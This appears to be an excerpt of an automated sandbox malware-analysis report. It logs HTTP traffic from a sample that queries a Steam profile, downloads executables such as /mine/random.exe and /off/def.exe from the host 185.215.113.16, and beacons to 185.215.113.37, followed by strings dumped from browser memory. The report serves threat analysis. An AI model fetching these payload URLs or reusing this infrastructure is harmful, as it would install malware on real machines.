Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN 'www.' \|\| :strippedURL AND 'www.' \|\| :strippedURL \|\| X'FFFF'Should setting it as the default PDF handler only replace existing PDF handlers that are browsers, and not other PDF handlers such as Acrobat Reader or Nitro PDF." returned undefined. To ignore an action, you must explicitly return the previous state. If you want this reducer to hold no value, you can return null instead of undefined.[{incognito:null, tabId:null, types:["image"], urls:["https://smartblock.firefox.etp/facebook.svg", "https://smartblock.firefox.etp/play.svg"], windowId:null}, ["blocking"]]DELETE FROM moz_places WHERE id IN ( equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedUpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=en-US&feed_variant=default_spocs_off equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation. equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://connect.facebook.net//sdk.js*://connect.facebook.net//all.js://www.google-analytics.com/analytics.js://www.google-analytics.com/gtm/js://www.googletagmanager.com/gtm.js://.imgur.com/js/vendor..bundle.js://web-assets.toggl.com/app/assets/scripts/.js://www.everestjs.net/static/st.v3.js://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.jsFileUtils_closeAtomicFileOutputStreamhttps://smartblock.firefox.etp/facebook.svghttps://smartblock.firefox.etp/play.svgresource://gre/modules/addons/XPIProvider.jsm://track.adform.net/serving/scripts/trackpoint/://auth.9c9media.ca/auth/main.js://.imgur.io/js/vendor..bundle.js://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.jswebcompat-reporter@mozilla.org.xpi://cdn.branch.io/branch-latest.min.jswebcompat-reporter%40mozilla.org:1.5.1://www.rva311.com/static/js/main..chunk.js://pub.doubleverify.com/signals/pub.jsFileUtils_closeSafeFileOutputStream://c.amazon-adsystem.com/aax2/apstag.jsresource://gre/modules/FileUtils.sys.mjs://static.chartbeat.com/js/chartbeat.js://static.chartbeat.com/js/chartbeat_video.js://static.criteo.net/js/ld/publishertag.js://libs.coremetrics.com/eluminate.js*://s.webtrends.com/js/webtrends.min.jspruneAttachments/</allRecords</request.onerror equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://securepubads.g.doubleclick.net/tag/js/gpt.js://www.gstatic.com/firebasejs//firebase-messaging.jshttps://www.amazon.com/exec/obidos/external-search/://id.rambler.ru/rambler-id-helper/auth_events.js://media.richrelevance.com/rrserver/js/1.2/p13n.jshttps://static.adsafeprotected.com/firefox-etp-js://pagead2.googlesyndication.com/gpt/pubads_impl_.js*://securepubads.g.doubleclick.net/gampad/ad-blkhttps://static.adsafeprotected.com/firefox-etp-pixel://vdb-cdn-files.s3.amazonaws.com//vidible-min.jsC:\Program Files\Mozilla Firefox\browser\featurescolor-mix(in srgb, currentColor 14%, transparent)linear-gradient(90deg, #9059FF 0%, #FF4AA2 52.08%, #FFBD4F 100%)resource://services-settings/remote-settings.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3096434663.0000025509328000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3112720625.000002550A0A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3114655458.000002550A388000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3114655458.000002550A3D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.ak equals www.youtube.com (Youtube)
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=3e9e77b20f77ca8f0dc8d586; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; 